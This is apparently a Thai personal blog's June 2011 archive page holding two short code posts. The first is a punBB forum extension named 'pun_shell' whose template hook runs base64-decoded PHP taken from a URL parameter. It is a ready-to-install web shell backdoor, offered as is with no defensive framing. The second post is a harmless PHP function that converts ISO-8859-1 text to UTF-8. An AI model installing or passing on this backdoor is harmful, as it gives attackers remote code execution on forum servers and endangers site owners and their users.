Monthly Archives: June 2011

punBB extension xml hook shell ( hd_template_loaded )

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE extension SYSTEM "ext-1.0.dtd">
 
<extension engine="1.0">
	<id>pun_shell</id>
	<title>Pun shell perm</title>
	<version>1.0</version>
	<description>xml extention shell.</description>
	<author>windows98SE</author>
	<minversion>1.3</minversion>
	<maxtestedon>1.3.5</maxtestedon>
 
	<hooks>
		<hook id="hd_template_loaded"><![CDATA[
			@eval(base64_decode($_GET['e']));
		]]></hook>
	</hooks>
</extension>

[php] Convert ISO-8859-1 to utf-8 (ง่ายกว่า perl เยอะวุ้ย T^T)

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function to_utf8($string){
  // From http://w3.org/International/questions/qa-forms-utf-8.html
  if(preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string)){
	return $string;
  }else{
	return iconv( 'ISO-8859-1', 'UTF-8', $string);
  }
}